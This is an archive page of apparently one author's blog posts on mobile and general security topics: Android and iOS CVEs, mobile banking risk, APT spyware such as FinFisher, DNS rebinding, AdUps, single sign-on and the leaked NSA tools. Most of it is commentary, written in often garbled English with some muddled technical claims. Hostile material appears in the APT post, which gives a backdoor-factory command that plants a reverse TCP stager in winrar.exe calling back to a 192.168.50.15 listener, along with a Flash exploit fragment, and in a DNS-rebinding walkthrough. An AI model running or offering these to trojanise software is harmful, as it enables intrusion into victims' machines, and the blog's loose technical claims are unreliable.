Category Archives: Cell Phone (iPhone, Android, windows mobile)

Cell Phone (iPhone, Android, windows mobile)

Heard that Android operating not secure anymore, but it is properly not.

96 Comments

Android phone users widely cover up mobile phone market. We understand that no hack proof devices in the world. Even though iphone iOS before 10.2.1 is vulnerable to DoS Exec Code Overflow (CVE-2017-2370). As a Android user we are not surprise Android operation system bug.  There are 2 critical bug occurs on mediaserver and surfaceflinger. A bug was found on 2014 identify that a potential memory leak in SurfaceFlinger on Android 4.4.4. Memory leak due to not complete designed or programmed applications limitation that fail to free up memory segments when they are no longer needed. Since this is design fault (bug), as time goes by bug become a vulnerability found by security expert last month. The CVE alert that attacker is able to use a specially crafted file to cause memory corruption during media file and data processing on Android 7.0. Apart from that, media server found new vulnerability. Such vulnerability also affects the libhevc library. As far as we know, to improve device security on Android 7.0. Andriod breaks up the monolithic mediaserver process into multiple processes with permissions and capabilities restricted to only those required by each process. However a design weakness causes the vulnerability located in the function that created the native handle. When passing in well-structured numFds and numInts (such as numFds = 0xffffffff, numInts = 2) to native_handle_create, you can cause the expression “sizeof (native_handle_t) + sizeof (int) * (numFds + numInts)” Integer overflow.

Below code is a proof of  concept shown that each GraphicBuffer object contains a pointer to a native handle.

native_handle_t* native_handle_create(int numFds, int numInts)
{
native_handle_t* h = malloc(
sizeof(native_handle_t) + sizeof(int)*(numFds+numInts));//———->Integer overflow position

h->version = sizeof(native_handle_t);
h->numFds = numFds;
h->numInts = numInts;
return h;
}

For details about vulnerabilities on Android. Please refer to below url for reference.

https://source.android.com/security/bulletin/2017-02-01.html

We heard that the overall comment on Android phone is not secure any more! As a matter of fact, design fault and design limitation are the element of the result. Since no prefect product was made in the world. Even though you put more time in development and staging phase can’t avoid a design fault occurs in your product. Yes, agree, shorten the development life cycle will hits the design fault encounter in frequent way. However modern mobile phone world integrate with Multi-application and functions. Sometime a 3rd party application will integrate into your mobile phone. Thus Andriod 7 contains defense mechanism to protect memory space and Kernel environment. But what is the fact causes the operating system still vulnerable? Ok, Let go together on this journey to elaborate more techincal details in this regard.

The evolution of Android 7.0

Android 7.0 includes a variety of system and API behavior changes.

Battery and Memory
Background Optimizations
Permissions Changes
Sharing Files Between Apps
Accessibility Improvements
NDK Apps Linking to Platform Libraries
Check if your app uses private libraries
TLS/SSL Default Configuration Changes

On above feature enhancement, it looks that the improvement on new version of Android looks fine.  As said, no prefect product design in the world.  On the other way of thinking, what if we become a hacker. On above items, which part will become vulnerable or weakness let attacker compromise the phone?

Observational standpoint:

Point 1: (Sharing Files Between Apps)

Regarding to technical details written on technical documentation. For apps targeting Android 7.0, the Android framework enforces the StrictMode API policy that prohibits exposing file:// URIs outside your app. If an intent containing a file URI leaves your app, the app fails with a FileUriExposedException exception. To share files between applications, you should send a content:// URI and grant a temporary access permission on the URI. The easiest way to grant this permission is by using the FileProvider class.

Side effect of Point 1 – Hacker can make use of File Provider class feature try to dig out the mobile phone data. The easy way is embedded a malicious program script in 3rd party application.  Fool the user to click the button (accept sharing files between apps) during software installation. Since many mobile phone users are smart today, but still have many people fall down to this trap.

Point 2: (Memory)

Both the Android Runtime (ART) and Dalvik virtual machine perform routine garbage collection, this does not mean you can ignore when and where your app allocates and releases memory. Software designer need to avoid introducing memory leaks, usually caused by holding onto object references in static memory variables, and release any Reference objects at the appropriate time as defined by lifecycle callbacks.

Side effect of Point 2 – The easiest way to leak an Activity is by defining a static variable inside the class definition of the Activity and then setting it to the running instance of that Activity. If this reference is not cleared before the Activity’s lifecycle completes, the Activity will be leaked. So all depends on mobile apps developer design. It is hard to avoid memory leak. As you know, what is the defect of memory leak? Hacker relies on this error can implant malware.

Point 3: (Background Optimizations)

ART (Android run-time)

Starting with Android 5.0, Android Runtime (ART) replaces Dalvik as the default virtual machine in the system.

 

Reference: The Dalvik Virtual Machine (Dalvik VM)

The Android platform leverages the Dalvik Virtual machine (Dalvik VM) for memory, security, device, and process management. Application designer can think of the Dalvik VM as a box that provides the necessary environment for you to execute an Android application sans, and therefore not to worry about the target device (mobile phone system).

Side effect of Point 3 – ART became the default runtime. While Dalvik relies on interpretation and just-in-time compilation, ART precompiles app Dalvik bytecode into native code.  The command responsible for compiling an application into OAT is dex2oat, which can be found in /system/bindex2oat. All mobile apps will be compiled every time the device’s system is upgraded or the first time it is booted up after it is purchased. So attacker might have way to use dex2oat to generate OAT files from modified versions of installed apps or system frameworks and replace the original OAT files with them. This is the famous attack hiding behind Android Runtime. Yes, compile method sounds like jail break of the mobile phone device. Even though iPhone can’t avoid. And therefore I still believe Android security not such poor because no products on the market can say it is hackproof.

Remark: Did you heard that hacker prepare scam email lure the user to upgrade their Android phone. It is the similar case which bring with my concerns.

Reference: Critical vulnerabilities on iPhone and Android found on Feb 2017.

Apple » Iphone IOS
score Publish Date Update Date
CVE-2017-2370 9.3 DoS Exec Code Overflow 2017-02-20 2017-02-22
CVE-2017-2360 9.3 DoS Exec Code 2017-02-20 2017-02-22
Andriod OS
CVE-2017-0405 9.3 Remote code execution vulnerability in Surfaceflinger 2017 2017 Feb
CVE-2017-0406, CVE-2017-0407 9.3 Remote code execution vulnerability in Mediaserver 2017 2017 Feb

Summary:

If people tell you that a new mobile device is excellent, less vulnerabilities found. It is a perfect design. Even though he is the best at this moment. But believed that it is hard to maintain the glory in the long run. Why, because of today business on demand business strategy. If you heard that Android operating not secure anymore, but it is properly not.

 

 

Application Development, Cell Phone (iPhone, Android, windows mobile), System

Mobile Financial App inflicts more contradiction on cyber security – part 1

189 Comments

When you pick up your mobile phone daily, no one will be care of your data privacy in highest priority. Since you are busy with your social media apps (Whatapps, Facebook, Instagram..etc). As easy as today make a payment on air through your mobile phone. However, your habit forming behavior might cause inherent secuirty risks silently. Yes, this is not a hot news. My friend believed that his phone is secure since he installed anti-virus program. As easy as today make a payment on air through your mobile phone. However, your habit forming behavior might cause inherent secuirty risks silently. May be you feel that it is not a critical issue once anti-virus program installed. From technical point of view, it looks correct because anti-virus will monitor malicious activities and quarantine the suspicious activities.

As a general user point of view, we all trusted the mobile financial apps issued by Bank. Do you think it was enough that install a virus protection software and do the mobile patch management. It will resolve all the problems. Regarding to this question, below table can provide an overall idea in this regard. It looks that some component had their own fundamental design limitation.

Compare with traditional non visualization computer architecture, smart-phone memory resources usage brings security concerns to subject matter expert. Apart from this, MIDP (mobile information device profile) carry out trusted relationship concerns of mobile phone applications.

It looks that tons of security concerns carry out on mobile finance software application. But what is the factors let financial institution keep going to this path but don’t take a U turn?

This questions looks everybody can answer? We are living on the earth and it is a demanding atmosphere. The traditional retail banking environment can’t survival on traditional banking product. Besides, labor cost, shop rental fees are count in bankers mind. The bankers think e-business can give assistance. And therefore a electonic technology similar as flooding to change the traditional world was born.

Information security value?

A joke told us that business man did not have key term information security in their mind until tragedy happen. As times goes by, mobile banking technology become a main trend today. Even though a small shop in village from China also accept mobile payment. But what is the value of information security no one can answer today especially bankers! Because if someone put information security on top priority means the efficiency of business developement will slow down. But who have guts to carry this burden ask the management board return to twenty years ago technology?

What is the possibility or hit rate on malware infect mobile phone?

A technology term bring your own device (BYOD) means you are the owner of the device. If an cyber incident occurs on your phone, it is really a sophisticate scenario. As we know, mobile phone system architecture operate on top of virtual machine environment. For sure that the web browsing activities on your mobile phone more intensive compare to your home workstation. Since it is a mobile device, your mobile phone will able to access mobile hot spots anywhere. It increase the attack surface for hackers execute the attack.

What if your mobile phone infected by malware? Do you think it will harmful to bank system?

If you are my follower, do you remember that we had discussion on malware infection technique last year. A critical malware incident occured in U.S. weapons manufacturer Lockheed Martin Corp on 2011. Hackers infiltrated to their internal network.This incident driven Lockheed Martin develop kill chain framework. The goal of this framework is going to defense malware activities. Below table is the famous framework of Lockheed Martin Kill Chain.

Refer to above table, disrupt the malware infection process need deny in delivery phase. However the local anti-virus install on mobile phone do not have such capabilities. The mobile finance application provides flexibility to client. But it was not secure!

Under this context, can we say online banking will be secure than mobile finance apps install on mobile phone? As a matter of fact, a mobile finance applications install on mobile phone exploits programming syntax once phone compromised by hacker. It such a way assists hacker understand the finance institution back end process. Compare with online banking system, bank customers may vulnerable to man-in-the-middle causes privacy leakage. However the overall risk rating lower than mobile finance application software. At least hacker may have difficulties infiltrate to back-end system.

Cyber Crime Business Is Still Booming, especially Targeted attack trends. It is hard to tell what is the functionality on mobile finance application software in future. May become a electronic wallet. Since a design weakness has been known, who is the appropriate guy to metigate the on going strategy in future?

It is a long story, let’s discuss later!

 

 

Application Development, Cell Phone (iPhone, Android, windows mobile), System

A wide range of views (Advanced persistent threat)

157 Comments

We heard a technical terms named advanced persistent threat since 2013. An information which announced by cyber security company (kaspersky, FireEye, Symantec….etc) but not acknowledge by instigator . The story looks amazing that a security consulting firm (Mandiant) fooled by hacker. By coincidence, it found malicious finger print on gmail account and email message contained alleged resources came from China during investigation. This incident lets people in the world believe that cyber war will be happen in between country to country. A technical vocabulary so called Advanced Persistent Threat spreads around the world.

An unauthorized person gains access to a network and stays there undetected for a long period of time. Cyber security terminology so called APT attack. APT style attack confused security experts. Their mechanism contains many shadow nodes. The shadow nodes located in different areas and countries. It can take this advantage and convert as political tool. It is a sword. Careerist can blame another country that they are dishonest using internet. Who’s cast a unrighted wrong, believed that above diagram can provide an idea to you in this regard.

Reference: – Unofficial information which did not acknowledge by instigator

APT 1: cyber espionage group based in China – Discovered on Feb 2013

APT 28: Russia’s Cyber Espionage Operations – Discovered on Oct 2014

whistle blower (Snowden) – surveillance program scandal ( PRISM ) – Discover on Jan 2014

The design objective of Advanced persistent threat:

Enabled espionage using a variety of intelligence gathering techniques to access sensitive information.

Government enforcement official tools

i. Da Vinci and Galileo

Made by the Italian company Hacking Team, use to Hijack Phones for covert collection of emails, text messages, call history and address books, and they can be used to log keystrokes and obtain search history data.

Remark: An Official announcement in 2015 near year end, Da Vinci products not going to export to other countries due to data leakage incident happened on their campus.

ii. FinFisher (Neodymium & Promethium)

Specific users targeted in Europe and Turkey (last update on Dec 2016)

Neodymium uses the W32/Wingbird.A!dha backdoor to spy on users.

Promethium is a a “backdoor” program, it is a malware. He will masquerades as popular Windows tools such as WinUtils, TrueCrypt, WinRAR and SanDisk.

Remark: CVE-2016-4117 confusion code bug in Adobe Flash equivalent a instigator with Neodymium and Promethium. The Adobe Flash bug allow corrupt one of the objects to extend its length to 0xffffffff (see below source code) and its data buffer to address 0. The attacker are allow to access all of the user space memory once ByteArray corrupted. And such a way attacker execute embedded shellcode. If the Flash Player version is older than 21.0.0.196, the attack can’t execute.

public static function flash20(ba:Dtaa3, var4:uint, var5:uint)
{
   var len:uint;
   var flash50:uint;
   try
   {
       flash38 = true;
       flash21 = ba;
       len = ba.length;
       flash50 = (ba.a1 ^ ba.a5);
       ba.a2 = 0xFFFFFFFF;
       ba.a6 = (0XFFFFFFFF ^ flash50);
       ba.endian = Endian.LITTLE_ENDIAN;
       flash39 = var5;
       len = ba.length;
       if (len !=0xFFFFFFFF)
       {
           flash3("");
       };
       if (flash72)
       {
           Play3.flash20(); // Win32.Exec()
        }
       else
       {
           flash1("");
        };
        flash34(var5, var4);
        }

Advanced Persistent Threat – Drawback of remote monitoring

Traditional Lawful Interception solutions face new challenges which highlight by Finfisher (see below)

  • Data not transmitted over any network
  • Encrypted Communications
  • Targets in foreign countries

Finfisher resolution:

FinSpy was installed on several computer systems inside internet Cafes in critical areas in order to monitor them for suspicious activity, especially Skype communications to foreign individuals. Using the Webcam, pictures of the targets were taken while they were using the system

Traditional tactical or strategic Interception solutions face challenges which point out by Finfisher (see below):

  • Data not transmitted over any network and kept on the device
  • Encrypted Communications in the Air-Interface, which
  • avoid the usage of tactical active or passive Off-Air Systems
  • End-to-end encryption from the device such as Messengers,
  • Emails or PIN messages

Finfisher resolution:

FinSpy Mobile was deployed on BlackBerry mobile phones of several Targets to monitor all communications, including SMS/MMS, Email and BlackBerry Messenger.

The official spy tools looks powerful, however there is another sniff technique which available in the IT world.

Implant backdoor example:

Not going to teach how to hack the system but it is a better understanding …………..

This session not going to get in touch with FinFisher backdoor. However few available solution in the market guide you implant a backdoor to Winrar.exe. One of the example display as below:

sudo backdoor-factory -f /home/assault/Downloads/winrar.exe -s iat_reverse_tcp_stager_threaded -H 192.168.50.15 -P 8080

Government enforcement agency looks not difficult to expand the APT area of coverage. A lot of time they are relies on phishing.

Concept wise equivalent to government enforcement tool

The objective of the APT intend to collect sensitive data or voice messages during surveillance program process. And therefore the compatibility of the malware become an important factor. We are not a government agency but we can run a test with similar concept of design.

Phishing with Empire – Empire software supports macOS, Linux, and Windows hosts from one listener. The only requirement is that you need find a Command and Control (C2) work with you.

Summary:

The key words advanced persistence threat sound scary however it is only a surveillance program. As a normal citizen I do not believe foreign country have interest on my telephone conversation. From data privacy, it looks that it contained grey area since we do not know the reason why we are under surveillance. Such action let people nervous. However my expectation on these technology is that it must expand to some area in the city which take care the monitor and control of criminal activities. What do you think?

Cell Phone (iPhone, Android, windows mobile)

why H.264 (MP4) play on iphone (7/6S/6) is quite annoying

255 Comments

Use your iPhone play H.264 (MP4) video is annoying, the problem is that sometimes the videos work, sometimes it doesn’t. As a matter of fact, the IOS are quite unstable with mp4 format and h.264 on HTML5. But why is that people always encounter the problem of MP4 not playing on iPhone 7/6S/6?

iPhone 7 Only Supports Two Types of MP4 Files Natively

1. MP4 video with H.264 codec, and the MP4 should meet below specifications:

Up to 1080P, 30fps, high profile level 4.1 with AAC-LC audio below 160Kbps, 48kHz and stereo audio.

2. MP4 video with MPEG-4 codec, and have to meet another different specifications of:

Up to 2.5 Mbps, 640 X 480 resolution, 30fps, simple profile with AAC-LC audio up to 160 Kbps, 48kHz and stereo audio.

iPhone 4S

Compatible with H.264 or MPEG-4 video format with the following specifications:If it is H.264 video, it should meet: up to 1080p, 30 frames per second, High Profile level 4.1 with AAC-LC audio up to 160 Kbps, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats;

If it is MPEG-4 video, it should meet: up to 2.5 Mbps, 640 by 480 pixels, 30 frames per second, Simple Profile with AAC-LC audio up to 160 Kbps per channel, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats;

Think it over? The development life cycle on iphone 4s to iphone 7 not a short period, why there were no improvement in this area?

The culprit

a. iOS10 videos not playing with X-Accel-Redirect

b. X-accel allows for internal redirection to a location determined by a header returned from a backend.

c. Different browsers (Firefox, Safari & IE) have different policies mechanism to cache.

  • TTL hold the valid time of dns entry
  • Browser should cache until TTL expires

But the major factor bother Apple development team not the above items, the issue is that they found a vulnerability in Safari.

The instigator of this vulnerability

Refer to below diagram, CFNetwork Framework embedded in core services layer. It provides the following functions.

  • Use BSD sockets
  • Create encrypted connections using SSL or TLS
  • Resolve DNS hosts
  • Work with HTTP servers, authenticating HTTP servers, and HTTPS servers
  • Work with FTP servers
  • Publish, resolve, and browse Bonjour services

Unfortunately the vulnerability found that Safari support of HTTP/0.9 and accidentally allow cross-protocol exploitation of non-HTTP services using DNS rebinding. The remediation step of Apple is that restrict HTTP/0.9 responses to default ports and canceling resource loads if the document was loaded with a different HTTP protocol version. Sounds like a middle man verify the communication between external and core services. However it break X-Accl-Redirect function thus H.264 (MP4) doesn’t work properly.

Reference:

Apple remediation of CVE-2016-4760 (About the security content of iOS 10)

iOS 10 – Released September 13, 2016

WebKit

Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later

Impact: A malicious website may be able to access non-HTTP services

Description: Safari’s support of HTTP/0.9 allowed cross-protocol exploitation of non-HTTP services using DNS rebinding. The issue was addressed by restricting HTTP/0.9 responses to default ports and canceling resource loads if the document was loaded with a different HTTP protocol version.

Web browser design weakness (DNS pinning) & DNS rebinding vulnerability

Web browser pins host name to IP address but pin is easily to release with below command.

<img src:http://xxx.com:81/>

DNS rebinding vulnerability: Attacker will respond with the XML below:

<?xml version"1.0"?>
<cross-domain-policy>
 <allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>

DNS rebinding scenario replay:

  1. Victim visits the malicious Web site hunt.com and loads the script it contains.

2. The attacker then changes the DNS entry of hunt.com in order to resolve to the internal server’s IP address, which is the target. In addition, the attacker disconnects the Web server that was running on the original IP address.

3. The script uses a timed event (setIntervall or setTimeout) to load a Web page from hunt.com. (Different browsers (Firefox, Safari & IE) have different policies mechanism to cache).

4. The victim’s Web browser executes the script and tries to connect back to hunt.com using the IP address, which is bound to it due to DNS pinning. But, as the Web server is no longer available, the connection is rejected and DNS pinning is dropped, due to the weakness described in the previous section.

5. The browser then drops the DNS pinning and does a new DNS lookup request for hunt.com. This time, the response results in a different IP address; the browser has removed from its cache the previous mapping of the server hostname (hunt.com) to an IP address, so cannot be protected from the misdirection.

6. As the new IP address points to the internal server, the attacker’s script is now able to access the internal server’s content and reveal it.

Information Supplement – iOS security function:

The security feature set on iOS or Mac OS design are advanced. The Security Server (securityd) is a daemon running in macOS and iOS that implements several security protocols, such as encryption, decryption, and (in macOS) authorization computation. The Security Agent is a separate process that provides the user interface for the Security Server in macOS (not iOS). Its primary purpose is to request authentication whenever an app requests additional privileges.

The iOS operating system isolates each and every app on the system. Apps are not allowed to view or modify each other’s data, business logic, and so on. Isolation prevents one app from knowing whether any other app is present on the system or whether apps can access the iOS operating system kernel until the device is jailbroken. This ensures a high degree of separation between the app and operating system.

iOS provides two types of isolation:

  • Process isolation
  • Filesystem isolation
Application Development, Cell Phone (iPhone, Android, windows mobile)

Android mobile phone user alert! AdUps software,he is a voyeur!

152 Comments

Technical writer (Miss Swati Khandelwal) write a technical article alerts Android users around the world they are under cyber attack. What’s going on? It seems that a suspicious software bundle with mobile phone (ZTE and Huawei) together export to US market. The goal is going to collect the mobile phone data. The data includes SMS texts, Send call logs, end user personally identifiable information, geolocation information to their server. Oh Jesus, US Government with high visibility statement let’s the citizens know they are under surveillance. A open method of NSA is use a tool so called “XKEYSCORE” for real time monitoring (internet activities). Who’s is the party jump over the queue of NSA to do cellphone tracking and Intercept action? A security firm found that the data collection server is located in China.In the mean time it is unclear whether the data is being collected for advertising or other purpose?

Can we uninstall the software?

Yes, it is possible to remove those applications. There are two preload packages of malicious system application (com.adups.fota.sysoper and com.adups.fota) on Android phone. Android’s package manager has commands to get rid of this stuff. For this, let’s become root.

pm disable com.adups.fota.sysoper
pm uninstall com.adups.fota.sysoper
pm disable com.adups.fota
pm uninstall com.adups.fota

The pre-installed apps are located in the following area:

/system/app/
/system/priv-app/

But we are not the Android programmer or security Expert. Seems it is not easy to execute above job on your mobile phone. Do you think what time does the manufacturer release the patch ?

Related articles (headline news)

http://www.foxnews.com/tech/2016/11/15/secret-software-in-some-android-phones-sent-data-to-china-experts-warn.html

 

 

Application Development, Cell Phone (iPhone, Android, windows mobile), Network (Protocol, Topology & Standard), System

Is Single Sign on a Security Risk?

181 Comments

Is Single Sign on a Security Risk?

The majority of computer operators and people alike maintained one user ID and password. The single sign on facility fulfill their operation requirements. From security point of view, there are inherent risks for company deploys single sign-on function on their network infrastructure.

Single sign on infrastructure

Let take a closer look of single-sign on

Benefits:

  1. No need to remember many user IDs and passwords
  2. Simplified operation procedure
  3. Improves the effectiveness/timeliness of disabling all network/computer accounts for terminated users.
  4. Reduces the time taken by users to log into multiple applications and platforms

 

Single-sign on drawback

  1. Same password on all your various web services, it is also dangerous to let one username/password combination unlock all the resources.
  2. Single high-value target (attracts more attackers)
  3. Side channel attack against authentication step
  4. never know how secure your system is or if there is a breach

Single sign on increase the difficulties of application protection

SSO by itself doesn’t really improve security and, in fact, if not deployed properly can degrade security.  There are more techniques to attacks single sign-on application today. For more details, please see below:

  1. Single Sign-On phishing
  2. SSO profile was vulnerable to a Man-in-the-middle attack
  3. Replay Attacks
  4. XML Signature Wrapping vulnerability in SAML protocol

Security Concerns:

GIAC as a pioneer point out single sign on security concerns on their global information assurance certification paper. The article bring an idea to the world that each operating system and application has it own set of security requirement for both user user ID and password. In the sense that SSO by itself doesn’t really improve security and, in fact, if not deployed properly can degrade security.  Since enterprise firm need compliance, fulfill audit requirements. Please be noted that compliance may not equal security. Let’s think it over, one single password that could access all key applications. Does it on a security risk?

Application Development, Cell Phone (iPhone, Android, windows mobile), System

Android bad luck this year! Do you think iPhone is Invulnerability?

144 Comments

Keep heard that vulnerability found on Android phone recently. For instance Dirty Cow attack, Drammer attack and Dangerous Pork Explosion backdoor. Do you think Linux operating system not secure anymore?

As far as I remember vulnerabilities found on Apple IOS not less than Android operation system. Can you imagine in what circumstance, XNU (X is Not Unix) can be compromised by hacker. iPhone architecture and its main components. The architecture uses the Darwin operating system, which includes the XNU kernel and system utilities.

What is XNU?

Darwin is an open source operating system released by Apple in 2000. Apple then built upon Darwin to create OS X and iOS. XNU is the computer operating system kernel developed at Apple Inc for use in OS X and iOS. XNU was a hybrid kernel combining version 2.5 of the Mach kernel developed. The components from 4.3BSD and an Objective-C API for writing drivers called Driver Kit. Up to 2016 iOS version details shown as below:

iOS has many similarities as Mac OSX on kernel components and functions. As mentioned, XNU was a hybrid kernel combining version 2.5 of the Mach kernel developed. In the kernel there are three important components. They are Mach, BSD and IOKit.

  •    Mach: Low level abstraction of kernel
  •    BSD: High level abstraction of kernel
  •    IOKit: Apple kernel extension framework

All the classes have a root object, called OS Object. OS Object mainly overwrite new operator to allocate memory, and declare init method to initialize the object self. Because of this fundamental design, few known vulnerabilities are happened in this area. An application may be able to execute arbitrary code with kernel privileges. Do you think iPhone is invulnerability? No, sure properly not. Found high level of risk vulnerabilities last few month (2016). Seems headline news not intent broadcast in high profile and therefore not to seriously shocks iPhone fans. For more details, please see below CVE for references:

  • CVE-2016-4778: The kernel in Apple iOS before 10, OS X before 10.12, tvOS before 10, and watchOS before 3 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.

Remark: Impact – An application may be able to execute arbitrary code with kernel privileges

  • CVE-2016-4777: The kernel in Apple iOS before 10, OS X before 10.12, tvOS before 10, and watchOS before 3 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (invalid pointer dereference) via a crafted app.

Remark: Impact – An application may be able to execute arbitrary code with kernel privileges

  • CVE-2016-4738: libxslt in Apple iOS before 10, OS X before 10.12, tvOS before 10, and watchOS before 3 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

Remark: Impact – Processing maliciously crafted web content may lead to arbitrary code execution

Xcode is a development environment which contains a suite of software development tools for the creation of OS X, iOS, WatchOS and tvOS software

  • CVE-2016-2315: revision.c in git before 2.7.4 uses an incorrect integer data type, which allows remote attackers to execute arbitrary code via a (1) long filename or (2) many nested trees, leading to a heap-based buffer overflow.
  • CVE-2016-2324: Integer overflow in Git before 2.7.4 allows remote attackers to execute arbitrary code via a (1) long filename or (2) many nested trees, which triggers a heap-based buffer overflow

Current summary:

Due to business requirement, life cycle of products become short and such a way shorten product development life cycle & test cycle. It is a joke!

Cell Phone (iPhone, Android, windows mobile), Network (Protocol, Topology & Standard), System

Edward Snowden Heads up! Stranger, what do you want?

219 Comments

Enterprise firm execute data classification to protect corporate important data. Follow the code of practise, confidential data contained high level of sensitivity label requires encryption. The whistleblower Edward Snowden alerts the people in the world on 2013. But you might have question to ask till now, what sort of personal data we need to protect. Seems end user computing mostly ignore by users. The traditional idea is that we enforce the preventive control from server end. As times go by, mobile phone twisted the IT world. IT Renaissance, literally reborn. The usage of computer not limit to location and time zone. We can execute the remittance or payment on mobile phone. You do a backup or synchronize mobile data when go home. Sure you can upload everything on cloud.

In regards of global surveillance program by US government

It looks that surveillance program is a never ending story! Why? From official perspective domestic surveillance program can effectively monitoring terrorist attacks and criminal activities. NSA web page slogan have the following statement.

“Defending our nation. Securing the citizens.”

We have no objection that collection of internet data, mobile phone voice and data exchange as a weapon fright againts crime. To be honest we don’t have rights! But question raised how to identify the usage of this data?We are not the perpetrator, logically we might not afraid of this control?

Highlight the NSA data collection methoglogy:

  • Real-Time Yahoo Email Scanning
  • Domestic Intercept Stations
  • Bulk Collection of U.S. Citizens’ Phone Records
  • The PRISM Program: Source of Raw Intelligence
  • Google Cloud Exploitation
  • Cellphone Tracking
  • Spying Toolbox: Servers, routers, firewall devices, computers, USB, keyboard, wireless LAN, cell phone network & mobile phone
  • FBI Aviation Surveillance Operations (FBI Hawk Owl Project)
  • XKeyscore: Our Real-Time Internet Monitoring Capability

Above details not a confidential data, you can easy find this information. Please take a visit to NSA front page, for more details please see below:

https://nsa.gov1.info/surveillance/

US Government with high visibility statement let’s the citizens know they are under surveillance. A open method of NSA is use a tool so called “XKEYSCORE”. When an US speaker logs into a Yahoo email address, XKEYSCORE will store “mail/yahoo/login” as the associated appID. This stream of traffic will match the “mail/english” fingerprint (denoting language settings). When a browser visits a site that uses Yield Manager, a cookie will be set. This cookie is used to identify whether the browser has loaded an advert and when and where it loaded it (which detects Yahoo browser cookies).  Yield Manager also collects information such as:

– the date and time of your visit to the website.

– IP address.

– the type of browser you are using.

– the web page address you are visiting.

XKEYSCORE appIDs and fingerprints lists several revealing examples. Windows Update requests appear to fall under the “update_service/windows” appID, and normal web requests fall under the “http/get” appID. XKEYSCORE can automatically detect Airblue travel itineraries with the “travel/airblue” fingerprint, and iPhone web browser traffic with the “browser/cellphone/iphone” fingerprint.

XKEYSCORE features highlight:

  1. Tracking Bridge Users
  2. Tracking Tor Directory Authorities
  3. Tracking Torproject.org Visits

See below part of the XKEYSCORE sourcecode can bring you an idea XKEYSCORE focus on TOR routers.

 

Traffic flows into an XKEYSCORE cluster, the system tests the intercepted data against each of these rules and stores whether the traffic matches the pattern.

But how about the hackers? Hacker also have interest of these data which NSA does. I believed that below checklist details lure hacker interest.

Internet application coding create a loophole make this cyber games become a never ending story.

Example:

  • Email accounts or passwords using session cookies
  • A common use for XSS is stealing cookies to hijack sessions and gain access to restrictedweb content
  • When cookie doesn’t have Secure flag set, then it can be sent over insecure HTTP (provided that HSTS is not used; HSTS is described in the next section). When this is a case, the attacker controlling the communication channel between a browser and a server can read this cookie. If the cookie stores session ID, then disclosure of this cookie over insecure HTTP leads to user impersonation.
  • When a cookie doesn’t have HttpOnly flag set, then JavaScript can read a value of this cookie. That’s why XSS attack leads to user impersonation if there is no HttpOnly flag set for a cookie with session ID. When a cookie has HttpOnly flag set, then attacker can’t read a value of the cookie in case of XSS attack. The problem is that access permissions are not clearly specified in RFC 6265. It turns out, that cookie with HttpOnly flag can be overwritten in Safari 8.

Short term conclusion:

No way because we are living on earth!

Application Development, Cell Phone (iPhone, Android, windows mobile), Network (Protocol, Topology & Standard), System

Is this a hoax? Or it is National Security Agency?

209 Comments

http://img.photobucket.com/albums/v704/chanpicco/chanpicco070/Equation-Group-pic-2_zpsojrksrjr.jpg

I believed that hot topics this week for sure hacking tools available download online. Rumour was told that those tools may develop by NSA (National Security Agency). Since this news make Anti-virus vendors nervous. As of today, their virus repository contained those files and confirm that those so called hacking tools is a genuine hacking tools. The Korean base anti-virus vendor AhnLab also given a malware naming convention to that malicious file. For more details, please refer to below chart for reference.

Status update on 18th Aug 2016 (today)

Kaspersky Confirmed that the leaked Hacking Tools Belong to NSA-tied Group. A former NSA employee told the Washington Post that those tools is a genuine hacking tools from NSA (see below).

https://www.washingtonpost.com/world/national-security/powerful-nsa-hacking-tools-have-been-revealed-online/2016/08/16/bce4f974-63c7-11e6-96c0-37533479f3f5_story.html

Interim Summary:

It looks that the files available download on internet looks outdated. The latest time-stamp of that files create from 2013. The earlier creation date of some files are 2010. To be honest, we can’t ignore the possibility that this files leaked by our Hero whistle blower!  Since the backdoor malicious programs found are the execution files. I was surprised that NSA is not going to use inline hooking technique. As we know, hackers looking for payment to release whole set of files. May be those not open to public files contains inline hooking technique. Hacking Team is known to sell a malware surveillance software known as Da Vinci. Its remote access tools also make it possible to compromise a wide variety of hardware, including Android and Blackberry phones and Windows devices. Yes, we found the descendant of Da Vinci this time.

Remark: Da Vinci (Law enforcement sector deploy malware which supply by Italy-based Hacking Team).

http://img.photobucket.com/albums/v704/chanpicco/chanpicco070/NSA-1_zpsd7yypvqf.jpg

https://www.linkedin.com/pulse/who-jeopardizing-world-information-leakage-picco

 

Cell Phone (iPhone, Android, windows mobile)

Tragedy – Android bugs, should we wait or we should take pre-emptive action?

397 Comments

Hot topics within this week for sure that is the technical bugs found on Android. Sounds horrible! There are two patches is waiting for vendor to release however the patch release date is unknown.From users point of view, should we wait for the security patches or we should take the pre-emptive action?

Technical bugs information background:

CVE-2016-2059 found in Qualcomm kernel module

Description: The msm_ipc_router_bind_control_port function in net/ipc_router/ipc_router_core.c in the IPC router kernel module for the Linux kernel 3.x, as used in Qualcomm Innovation Center (QuIC) Android contributions for MSM devices and other products, does not verify that a port is a client port, which allows attackers to gain privileges or cause a denial of service (race condition and list corruption) by making many BIND_CONTROL_PORT ioctl calls.

CVE-2016-5340 presented in Qualcomm GPU driver

The is_ashmem_file function in drivers/staging/android/ashmem.c in a certain Qualcomm Innovation Center (QuIC) Android patch for the Linux kernel 3.x mishandles pointer validation within the KGSL Linux Graphics Module, which allows attackers to bypass intended access restrictions by using the /ashmem string as the dentry name.

What’s your risk?

1. The bigger risk right now are the users using non official OS version. In the sense that the jailbreak version is risky now!

2. Visits unknown website through email phishing or open unknown attachment are at risk.

In regards to these bugs, how attacker compromised your phone?

Found that engaged this so called high risk cyber attack must fulfill the following requirements.

i. Have root privileges on your Android phone.

ii. Relies on shared Memory (ashmem)

Category of attack Attack:

Category 1: How to receive root access premisson through privileges escaltion
Found the msm_ipc_router_bind_control_port() function does not check access privileges. An attacker can use the IPC Router of the CAF Linux kernel for MSM, in order to escalate his privileges.

Category 2: Relies on Shared memory (ashmem) design limitation

